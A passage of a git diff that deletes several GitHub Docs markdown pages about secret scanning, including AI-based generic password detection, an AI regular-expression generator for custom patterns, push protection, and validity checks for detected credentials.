/code-security/security-advisories/guidance-on-reporting-and-writing-information-about-vulnerabilities/about-coordinated-disclosure-of-security-vulnerabilities - - /code-security/getting-started/best-practices-for-preventing-data-leaks-in-your-organization - - /code-security/securing-your-organization/fixing-security-alerts-at-scale/best-practice-fix-alerts-at-scale - - /code-security/dependabot/maintain-dependencies/best-practices-for-maintaining-dependencies -changelog: - label: security-and-compliance - versions: - fpt: '*' - ghec: '*' -layout: product-landing -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Repositories - - Dependencies - - Vulnerabilities -children: - - /getting-started - - /trialing-github-advanced-security - - /adopting-github-advanced-security-at-scale - - /securing-your-organization - - /secret-scanning - - /code-scanning - - /codeql-cli - - /codeql-for-vs-code - - /security-advisories - - /supply-chain-security - - /dependabot - - /security-overview ---- diff --git a/content/code-security/secret-scanning/copilot-secret-scanning/enabling-ai-powered-generic-secret-detection.md b/content/code-security/secret-scanning/copilot-secret-scanning/enabling-ai-powered-generic-secret-detection.md deleted file mode 100644 index 933e39d8441a..000000000000 --- a/content/code-security/secret-scanning/copilot-secret-scanning/enabling-ai-powered-generic-secret-detection.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Enabling Copilot secret scanning's generic secret detection -shortTitle: Enable generic secret detection -intro: 'You can enable {% data variables.secret-scanning.generic-secret-detection %} for your repository or organization. Alerts for generic secrets, such as passwords, are displayed in a separate list on the {% data variables.product.prodname_secret_scanning %} alerts page.' -allowTitleToDifferFromFilename: true -permissions: '{% data reusables.permissions.security-repo-enable %}' -versions: - feature: secret-scanning-ai-generic-secret-detection -type: how_to -topics: - - Secret scanning - - Secret Protection - - AI - - Copilot -redirect_from: - - /code-security/secret-scanning/enabling-ai-powered-generic-secret-detection - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/generic-secret-detection/enabling-ai-powered-generic-secret-detection ---- - -## Enabling {% data variables.secret-scanning.generic-secret-detection %} - -{% data reusables.secret-scanning.generic-secret-detection-policy-note %} - -You can then enable {% data variables.secret-scanning.generic-secret-detection %} in the security settings page of your repository or organization. - -{% data reusables.secret-scanning.copilot-secret-scanning-generic-secrets-subscription-note %} - -### Enabling {% data variables.secret-scanning.generic-secret-detection %} for your repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -1. Under "Secret scanning", select the checkbox next to "Scan for generic secrets". - -### Enabling {% data variables.secret-scanning.generic-secret-detection %} for your organization - -You must configure {% data variables.secret-scanning.generic-secret-detection %} for your organization using a {% data variables.product.prodname_custom_security_configuration %}. You can then apply the {% data variables.product.prodname_security_configuration %} to all (or selected) repositories in your organization. - -1. Create a new {% data variables.product.prodname_custom_security_configuration %}, or edit an existing one. See [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration#creating-a-custom-security-configuration). -1. When creating the custom security configuration, under "{% data variables.product.prodname_secret_scanning_caps %}", ensure that the dropdown menus for "Alerts" and "Generic secrets" are set to **Enabled**. -1. Apply the {% data variables.product.prodname_custom_security_configuration %} to one or more repositories. For more information, see [Applying a {% data variables.product.prodname_custom_security_configuration %}](/code-security/securing-your-organization/meeting-your-specific-security-needs-with-custom-security-configurations/applying-a-custom-security-configuration). - -For information on how to view alerts for generic secrets that have been detected using AI, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts). - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets) -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) diff --git a/content/code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning.md b/content/code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning.md deleted file mode 100644 index 97292c925ef7..000000000000 --- a/content/code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning.md +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Generating regular expressions for custom patterns with Copilot secret scanning -shortTitle: Regular expression generator -intro: 'You can use {% data variables.secret-scanning.copilot-secret-scanning %}''s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} to write regular expressions for custom patterns. The generator uses an AI model to generate expressions that match your input, and optionally example strings.' -permissions: '{% data reusables.permissions.security-repo-enable %}' -allowTitleToDifferFromFilename: true -versions: - feature: secret-scanning-custom-pattern-ai-generated -type: how_to -topics: - - Secret Protection - - Secret scanning - - AI - - Copilot -redirect_from: - - /code-security/secret-scanning/generating-regular-expressions-for-custom-patterns-with-ai - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/generating-regular-expressions-for-custom-patterns-with-ai - - /code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-ai ---- - -## Generating a regular expression for a repository with {% data variables.secret-scanning.copilot-secret-scanning %} - -{% data reusables.secret-scanning.copilot-secret-scanning-expression-generator-subscription-note %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% data reusables.advanced-security.secret-scanning-new-custom-pattern %} -{% data reusables.advanced-security.secret-scanning-generate-regular-expression-custom-pattern %} -1. When you're ready to test your new custom pattern, to identify matches in the repository without creating alerts, click **Save and dry run**. -{% data reusables.advanced-security.secret-scanning-dry-run-results %} -{% data reusables.advanced-security.secret-scanning-create-custom-pattern %} - -{% data reusables.secret-scanning.link-to-push-protection %} - -## Generating a regular expression for an organization with {% data variables.secret-scanning.copilot-secret-scanning %} - -{% data reusables.profile.access_org %} -{% data reusables.profile.org_settings %} -{% data reusables.security-configurations.display-global-settings %} -{% data reusables.advanced-security.secret-scanning-new-custom-pattern-org %} -{% data reusables.advanced-security.secret-scanning-generate-regular-expression-custom-pattern %} -1. When you're ready to test your new custom pattern, to identify matches in selected repositories without creating alerts, click **Save and dry run**. -{% data reusables.advanced-security.secret-scanning-dry-run-select-repos %} -{% data reusables.advanced-security.secret-scanning-dry-run-results %} -{% data reusables.advanced-security.secret-scanning-create-custom-pattern %} - -{% data reusables.secret-scanning.link-to-push-protection %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator) diff --git a/content/code-security/secret-scanning/copilot-secret-scanning/index.md b/content/code-security/secret-scanning/copilot-secret-scanning/index.md deleted file mode 100644 index 0ca6512eaf93..000000000000 --- a/content/code-security/secret-scanning/copilot-secret-scanning/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Enhance your secret detection capabilities with Copilot secret scanning -shortTitle: Copilot secret scanning -allowTitleToDifferFromFilename: true -intro: 'Learn how {% data variables.product.prodname_secret_scanning %} uses AI to detect generic secrets in your code, and generate regular expressions for your custom patterns.' -product: '{% data reusables.rai.secret-scanning.copilot-secret-scanning-gated-feature %}' -versions: - ghec: '*' -topics: - - Secret scanning - - Secret Protection - - Repositories - - Copilot -children: - - /responsible-ai-generic-secrets - - /enabling-ai-powered-generic-secret-detection - - /responsible-ai-regex-generator - - /generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning -redirect_from: - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/generic-secret-detection ---- diff --git a/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets.md b/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets.md deleted file mode 100644 index 7f82b8e44c95..000000000000 --- a/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-generic-secrets.md +++ /dev/null @@ -1,102 +0,0 @@ ---- -title: Responsible detection of generic secrets with Copilot secret scanning -shortTitle: Generic secret detection -intro: 'Learn how {% data variables.secret-scanning.copilot-secret-scanning %} uses AI responsibly to scan and create alerts for unstructured secrets, such as passwords.' -allowTitleToDifferFromFilename: true -product: '{% data reusables.rai.secret-scanning.copilot-secret-scanning-gated-feature %}' -versions: - feature: secret-scanning-ai-generic-secret-detection - fpt: '*' -type: rai -topics: - - Secret scanning - - Secret Protection - - AI - - Copilot -redirect_from: - - /code-security/secret-scanning/about-the-detection-of-generic-secrets-with-secret-scanning - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/generic-secret-detection/about-the-detection-of-generic-secrets-with-secret-scanning - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/generic-secret-detection/responsible-ai-generic-secrets ---- - -<!--Note on the versioning above ^. This article is visible to free, pro, team users for transparency. They cannot use the feature so `fpt` is not included in the feature definition.--> - -## About {% data variables.secret-scanning.generic-secret-detection %} with {% data variables.secret-scanning.copilot-secret-scanning %} - -{% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.generic-secret-detection %} is an AI-powered expansion of {% data variables.product.prodname_secret_scanning %} that identifies unstructured secrets (passwords) in your source code and then generates an alert. - -{% data reusables.rai.secret-scanning.copilot-secret-scanning-generic-secrets-subscription-note %} - -{% data variables.product.prodname_GH_secret_protection %} users can already receive {% data variables.secret-scanning.alerts %} for partner or custom patterns found in their source code, but unstructured secrets are not easily discoverable. {% data variables.secret-scanning.copilot-secret-scanning %} uses large language models (LLMs) to identify this type of secret. - -When a password is detected, an alert is displayed in the "Generic" list of {% data variables.product.prodname_secret_scanning %} alerts (under the **Security** tab of the repository, organization, or enterprise), so that maintainers and security managers can review the alert and, where necessary, remove the credential or implement a fix. - -{% data reusables.rai.secret-scanning.generic-secret-detection-policy-note %} The feature must then be enabled for repositories and organizations. - -### Input processing - -Input is limited to text (typically code) that a user has checked into a repository. The system provides this text to the LLM along with a meta prompt asking the LLM to find passwords within the scope of the input. The user does not interact with the LLM directly. - -The system scans for passwords using the LLM. No additional data is collected by the system, other than what is already collected by the existing {% data variables.product.prodname_secret_scanning %} feature. - -### Output and display - -The LLM scans for strings that resemble passwords and verifies that the identified strings included in the response actually exist in the input. - -These detected strings are surfaced as alerts on the {% data variables.product.prodname_secret_scanning %} alerts page, but they are displayed in an additional list that is separate from regular {% data variables.secret-scanning.alerts %}. The intent is that this separate list is triaged with more scrutiny to verify the validity of the findings. Each alert notes that it was detected using AI. {% ifversion secret-scanning-ai-generic-secret-detection %}For information on how to view alerts for generic secrets, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts).{% endif %} - -## Improving the performance of {% data variables.secret-scanning.generic-secret-detection %} - -To improve the performance of {% data variables.secret-scanning.generic-secret-detection %}, we recommend closing false positive alerts appropriately. - -### Verify the accuracy of alerts and close as appropriate - -Since {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.generic-secret-detection %} may generate more false positives than the existing {% data variables.product.prodname_secret_scanning %} feature for partner patterns, it's important that you review the accuracy of these alerts. When you verify an alert to be a false positive, be sure to close the alert and mark the reason as "False positive" in the {% data variables.product.prodname_dotcom %} UI. The {% data variables.product.prodname_dotcom %} development team will use information on false positive volume and detection locations to improve the model. {% data variables.product.prodname_dotcom %} does not have access to the secret literals themselves. - -## Limitations of {% data variables.secret-scanning.generic-secret-detection %} - -When using {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.generic-secret-detection %}, you should consider the following limitations. - -### Limited scope - -{% data variables.secret-scanning.generic-secret-detection-caps %} currently only looks for instances of passwords in git content. The feature does not look for other types of generic secrets, and it does not look for secrets in non-git content, such as {% data variables.product.prodname_github_issues %}. - -### Potential for false positive alerts - -{% data variables.secret-scanning.generic-secret-detection-caps %} may generate more false positive alerts when compared to the existing {% data variables.product.prodname_secret_scanning %} feature (which detects partner patterns, and which has a very low false positive rate). To mitigate this excess noise, alerts are grouped in a separate list from partner pattern alerts, and security managers and maintainers should triage each alert to verify its accuracy. - -### Potential for incomplete reporting - -{% data variables.secret-scanning.generic-secret-detection-caps %} may miss instances of credentials checked into a repository. The LLM will improve over time. You retain ultimate responsibility for ensuring the security of your code. - -### Limitations by design - -{% data variables.secret-scanning.generic-secret-detection-caps %} has the following limitations by design: - -* {% data variables.secret-scanning.copilot-secret-scanning %} will not detect secrets that are obviously fake or test passwords, or passwords with low entropy. -* {% data variables.secret-scanning.copilot-secret-scanning %} will only detect a maximum of 100 passwords per push. -* If five or more detected secrets within a single file are marked as false positive, {% data variables.secret-scanning.copilot-secret-scanning %} will stop generating new alerts for that file. -* {% data variables.secret-scanning.copilot-secret-scanning %} does not detect secrets in generated or vendored files. -* {% data variables.secret-scanning.copilot-secret-scanning %} does not detect secrets in encrypted files. -* {% data variables.secret-scanning.copilot-secret-scanning %} does not detect secrets in file types: SVG, PNG, JPEG, CSV, TXT, SQL, or ITEM. -* {% data variables.secret-scanning.copilot-secret-scanning %} does not detect secrets in test code. {% data variables.secret-scanning.copilot-secret-scanning %} skips detections when both conditions are met: - * The file path contains "test", "mock", or "spec", AND - * The file extension is `.cs`, `.go`, `.java`, `.js`, `.kt`, `.php`, `.py`, `.rb`, `.scala`, `.swift`, or `.ts`. - -## Evaluation of {% data variables.secret-scanning.generic-secret-detection %} - -{% data variables.secret-scanning.generic-secret-detection-caps %} has been subject to Responsible AI Red Teaming and {% data variables.product.prodname_dotcom %} will continue to monitor the efficacy and safety of the feature over time. - -{% ifversion secret-scanning-ai-generic-secret-detection %} - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/enabling-ai-powered-generic-secret-detection) -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) - -{% endif %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning){% ifversion ghec %} -* [AUTOTITLE](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-code-security-and-analysis-for-your-enterprise#enforcing-a-policy-to-manage-the-use-of-generic-secret-detection-for-secret-scanning-in-your-enterprises-repositories){% endif %} diff --git a/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator.md b/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator.md deleted file mode 100644 index 64f846ed7739..000000000000 --- a/content/code-security/secret-scanning/copilot-secret-scanning/responsible-ai-regex-generator.md +++ /dev/null @@ -1,84 +0,0 @@ ---- -title: Responsible generation of regular expressions with Copilot secret scanning -shortTitle: Generate regular expressions with AI -intro: 'Learn about the capabilities and limitations of the {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} in helping you to define custom patterns to extend the capabilities of {% data variables.product.prodname_secret_scanning %}.' -product: '{% data reusables.rai.secret-scanning.copilot-secret-scanning-gated-feature %}' -allowTitleToDifferFromFilename: true -versions: - feature: secret-scanning-custom-pattern-ai-generated - fpt: '*' -type: rai -topics: - - Secret Protection - - Secret scanning - - AI - - Copilot -redirect_from: - - /code-security/secret-scanning/about-the-regular-expression-generator-for-custom-patterns - - /code-security/secret-scanning/about-generating-regular-expressions-with-ai - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/about-generating-regular-expressions-with-ai - - /code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/responsible-use-ai-regex-generator - - /code-security/secret-scanning/copilot-secret-scanning/responsible-use-ai-regex-generator ---- - -<!--Note on the versioning above ^. This article is visible to free, pro, team users for transparency. They cannot use the feature so `fpt` is not included in the feature definition.--> - -## About generating regular expressions with {% data variables.secret-scanning.copilot-secret-scanning %} - -{% data variables.product.prodname_secret_scanning_caps %} scans repositories for a predefined set of secrets from our partner program, as well as custom patterns that are user-defined. Custom patterns are formatted as regular expressions. - -{% data reusables.rai.secret-scanning.copilot-secret-scanning-expression-generator-subscription-note %} - -Regular expressions can be challenging for people to write. {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} makes it possible for you to define your custom patterns without knowledge of regular expressions. Within the existing custom pattern page, you can launch a generative AI experience where you input a text description of what pattern you would like to detect, include optional example strings that should be detected, and get matching regular expressions in return. - -### Input processing - -Users input a text description of what they would like to detect, and optional example strings that should be detected. - -### Response generation and output formatting - -{% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} uses GPT-3.5-Turbo and the {% data variables.product.prodname_copilot %} API to generate regular expressions that match your input. - -The model returns up to three regular expressions for you to review. You can click on the regular expression to get an AI-generated plain language description of the regular expression. - -Some results may be quite similar, and some results may not find every instance of the secret that the pattern is intended to detect. It is also possible that the regular expression generator may produce results which are invalid or inappropriate. - -When you click **Use result** on a regular expression, the expression and any examples inputted will be copied over to the main custom pattern form. There, you can perform a dry run of the pattern to see how it performs across your repository or organization.{% ifversion secret-scanning-custom-pattern-ai-generated %} For more information on how to define a custom pattern for your repository or organization, see [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning). {% endif %} - -## Improving performance when generating regular expressions with AI - -To enhance performance and address some of the limitations of {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %}, there are various measures that you can adopt. For more information on the limitations of the {% data variables.secret-scanning.custom-pattern-regular-expression-generator %}, see [Limitations of generating regular expressions with AI](#limitations-of-generating-regular-expressions-with-ai). - -### Use {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} as a tool, not a replacement - -While the {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} is a powerful tool to create custom patterns without you having to write regular expressions yourself, it is important to use it as a tool rather than a replacement for manual input. You should carefully validate the performance of the results by performing a dry run across your organization or repository. It's a good idea to run the pattern on a repository (or repositories) that are representative of the repositories in your organization. In some cases, it may be beneficial to modify a generated regular expression to more fully meet your needs. You remain ultimately responsible for any custom patterns you decide to use. - -## Limitations of generating regular expressions with AI - -Depending on factors such as your input description and examples, you may experience different levels of performance when using {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %}. You need to be as specific as possible with your description, and provide different types of examples of tokens that match your pattern, to be sure that the regular expression encompasses all the patterns you want {% data variables.product.prodname_secret_scanning %} to search for. - -Also, the model used by the {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} has been trained on natural language content written predominantly in English. As a result, you may notice differing performance when providing the generator with natural language input prompts in languages other than English. - -Note that {% data variables.secret-scanning.copilot-secret-scanning %}'s {% data variables.secret-scanning.custom-pattern-regular-expression-generator %} is only suitable for creating regular expressions to detect structured patterns. - -{% ifversion secret-scanning-custom-pattern-ai-generated %} - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/copilot-secret-scanning/generating-regular-expressions-for-custom-patterns-with-copilot-secret-scanning) -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) -{% endif %} - -## Further reading - -{% ifversion ghas-products-cloud %} -<!-- Nothing to show because the bullets controlled by the feature version below will be visible to fpt --> -{% elsif fpt %} -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) -{% endif %} - -{% ifversion secret-scanning-custom-pattern-ai-generated %} -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/custom-patterns/defining-custom-patterns-for-secret-scanning) -* [AUTOTITLE](/code-security/secret-scanning/introduction/about-secret-scanning) -{% endif %} diff --git a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository.md b/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository.md deleted file mode 100644 index 308dc8be248c..000000000000 --- a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-push-protection-for-your-repository.md +++ /dev/null @@ -1,61 +0,0 @@ ---- -title: Enabling push protection for your repository -shortTitle: Enable push protection -intro: 'With push protection, {% data variables.product.prodname_secret_scanning %} blocks contributors from pushing secrets to a repository and generates an alert whenever a contributor bypasses the block.' -permissions: '{% data reusables.permissions.push-protection %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts ---- - -## About enabling push protection - -To enable push protection for a repository, you must first enable {% data variables.product.prodname_secret_scanning %}. You can then enable push protection in the repository's "{% data variables.product.UI_advanced_security %}" settings page following the steps outlined in this article. - -{% ifversion secret-scanning-push-protection-for-users %} - -You can additionally enable push protection for your own personal account, which prevents you from pushing secrets to _any_ public repository on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection/push-protection-for-users). - -{% endif %} - -{% ifversion security-configurations %} - -If you're an organization owner, you can enable push protection for multiple repositories at a time using {% data variables.product.prodname_security_configurations %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). - -{% else %} - -If you're an organization owner, you can enable push protection for multiple repositories at a time. For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-organization#enabling-security-features-in-your-organization). - -{% endif %} - -Organization owners, security managers, and repository administrators can also enable push protection for {% data variables.product.prodname_secret_scanning %} via the API. For more information, see [AUTOTITLE](/rest/repos#update-a-repository) and expand the "Properties of the `security_and_analysis` object" section. - -{% ifversion security-configuration-enterprise-level %} - -If your organization is owned by an enterprise account, an enterprise owner can also enable push protection at the enterprise level. For more information, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise). - -{% elsif ghes < 3.16 %} - -If your organization is owned by an enterprise account, an enterprise owner can also enable push protection at the enterprise level. For more information, see [AUTOTITLE](/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). - -{% endif %} - -## Enabling push protection for a repository - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.repositories.navigate-to-ghas-settings %} -{% data reusables.advanced-security.secret-scanning-push-protection-repo %} - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/working-with-secret-scanning-and-push-protection) -* [AUTOTITLE](/code-security/secret-scanning/using-advanced-secret-scanning-and-push-protection-features/excluding-folders-and-files-from-secret-scanning) -* [AUTOTITLE](/get-started/learning-about-github/about-github-advanced-security) diff --git a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository.md b/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository.md deleted file mode 100644 index b1b9e116a560..000000000000 --- a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-secret-scanning-for-your-repository.md +++ /dev/null @@ -1,68 +0,0 @@ ---- -title: Enabling secret scanning for your repository -shortTitle: Enable secret scanning -intro: 'You can configure how {% data variables.product.prodname_dotcom %} scans your repositories for leaked secrets and generates alerts.' -product: '{% data reusables.gated-features.secret-scanning %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts ---- - -## About enabling {% data variables.secret-scanning.user_alerts %} - -{% ifversion fpt %} - -{% data variables.secret-scanning.user_alerts_caps %} can be enabled on any free public repository that you own. - -{% endif %}{% ifversion ghec or ghes %} - -{% data variables.secret-scanning.user_alerts_caps %} can be enabled for any repository that is owned by an organization{% ifversion secret-scanning-user-owned-repos %}, and for repositories owned by user accounts when using {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_emus %}{% endif %}. - -{% endif %} - -{% ifversion security-configurations %} - -If you're an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for multiple repositories at a time using {% data variables.product.prodname_security_configurations %}. For more information, see [AUTOTITLE](/code-security/securing-your-organization/introduction-to-securing-your-organization-at-scale/about-enabling-security-features-at-scale). - -{% else %} - -If you're an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for multiple repositories at a time. For more information, see [AUTOTITLE](/code-security/getting-started/quickstart-for-securing-your-organization#enabling-security-features-in-your-organization). - -{% endif %} - -{% ifversion security-configuration-enterprise-level %} - -If your organization is owned by an enterprise account, an enterprise owner can also enable {% data variables.product.prodname_secret_scanning %} at the enterprise level. For more information, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise). - -{% elsif ghes < 3.16 %} - -If your organization is owned by an enterprise account, an enterprise owner can also enable {% data variables.product.prodname_secret_scanning %} at the enterprise level. For more information, see [AUTOTITLE](/admin/managing-code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise). - -{% endif %} - -## Enabling {% data variables.secret-scanning.user_alerts %} - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %}{% ifversion ghec or ghes %} -1. If {% data variables.product.prodname_advanced_security %} is not already enabled for the repository, to the right of "{% data variables.product.prodname_GH_advanced_security %}", click **Enable**. -1. Review the impact of enabling {% data variables.product.prodname_advanced_security %}, then click **Enable {% data variables.product.prodname_GH_advanced_security %} for this repository**. -1. When you enable {% data variables.product.prodname_advanced_security %}, {% data variables.product.prodname_secret_scanning %} may automatically be enabled for the repository due to the organization's settings. If "{% data variables.product.prodname_secret_scanning_caps %}" is shown with an **Enable** button, you still need to enable {% data variables.product.prodname_secret_scanning %} by clicking **Enable**. If you see a **Disable** button, {% data variables.product.prodname_secret_scanning %} is already enabled. - - ![Screenshot of the "{% data variables.product.prodname_secret_scanning_caps %}" section of the "{% data variables.product.UI_advanced_security %}" page, with the "Enable" button highlighted in a dark orange outline.](/assets/images/help/repository/enable-secret-scanning-alerts.png){% endif %}{% ifversion fpt %} -1. Scroll down to the bottom of the page, and click **Enable** for {% data variables.product.prodname_secret_scanning %}. If you see a **Disable** button, it means that {% data variables.product.prodname_secret_scanning %} is already enabled for the repository. - - ![Screenshot of the "{% data variables.product.prodname_secret_scanning_caps %}" section of the "{% data variables.product.UI_advanced_security %}" page, with the "Enable" button highlighted in a dark orange outline.](/assets/images/help/repository/enable-secret-scanning-alerts.png){% endif %} - -A repository administrator can choose to disable {% data variables.product.prodname_secret_scanning %} for a repository at any time. For more information, see [AUTOTITLE](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-security-and-analysis-settings-for-your-repository). - -## Next steps - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/viewing-alerts) -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/about-alerts) diff --git a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository.md b/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository.md deleted file mode 100644 index 06e4deec8b6a..000000000000 --- a/content/code-security/secret-scanning/enabling-secret-scanning-features/enabling-validity-checks-for-your-repository.md +++ /dev/null @@ -1,46 +0,0 @@ ---- -title: Enabling validity checks for your repository -shortTitle: Enable validity checks -intro: 'Enabling validity checks on your repository helps you prioritize the remediation of alerts as it tells you if a secret is active or inactive.' -product: '{% data reusables.gated-features.partner-pattern-validity-check-ghas %}' -versions: - feature: secret-scanning-validity-check-partner-patterns -type: how_to -topics: - - Secret scanning - - Secret Protection - - Alerts ---- - -## About validity checks - -You can enable validity checks for secrets identified as service provider tokens for your repository. Once enabled, {% data variables.product.company_short %} will periodically check the validity of a detected credential by sending the secret directly to the provider, as part of {% data variables.product.company_short %}'s secret scanning partnership program. {% data reusables.secret-scanning.partner-program-link %} - -{% data variables.product.company_short %} displays the validation status of the secret in the alert view, so you can see if the secret is `active`, `inactive`, or if the validation status is `unknown`. You can optionally perform an "on-demand" validity check for the secret in the alert view. - -You can additionally choose to enable validity checks for partner patterns. Once enabled, {% data variables.product.company_short %} will periodically check the validity of a detected credential by sending the secret directly to the provider, as part of {% data variables.product.company_short %}'s formal secret scanning partnership program. {% data variables.product.company_short %} typically makes GET requests to check the validity of the credential, picks the least intrusive endpoints, and selects endpoints that don't return any personal information. - -{% data variables.product.company_short %} displays the validation status of the secret in the alert view. - -You can filter by validation status on the alerts page, to help you prioritize which alerts you need to take action on. - -> [!NOTE] -> {% data variables.product.company_short %} typically makes GET requests to check the validity of the credential, picks the least intrusive endpoints, and selects endpoints that don't return any personal information. - -For more information on using validity checks, see [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning/evaluating-alerts#checking-a-secrets-validity). - -## Enabling validity checks - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -{% data reusables.repositories.navigate-to-code-security-and-analysis %} -{% data reusables.secret-scanning.validity-check-auto-enable %} - -You can also use the REST API to enable validity checks for partner patterns for your repository. For more information, see [AUTOTITLE](/rest/repos/repos#update-a-repository). - -Alternatively, organization owners and enterprise administrators can enable the feature for all repositories in the organization or enterprise. For more information on enabling at the organization-level, see [AUTOTITLE](/code-security/securing-your-organization/enabling-security-features-in-your-organization/creating-a-custom-security-configuration). -For more information on enabling at the enterprise-level, see [AUTOTITLE](/admin/managing-code-security/securing-your-enterprise/creating-a-custom-security-configuration-for-your-enterprise). - -## Further reading - -* [AUTOTITLE](/code-security/secret-scanning/managing-alerts-from-secret-scanning) diff --git a/content/code-security/secret-scanning/enabling-secret-scanning-features/index.md b/content/code-security/secret-scanning/enabling-secret-scanning-features/index.md deleted file mode 100644 index 2c08677865a6..000000000000 --- a/content/code-security/secret-scanning/enabling-secret-scanning-features/index.md +++ /dev/null @@ -1,23 +0,0 @@ 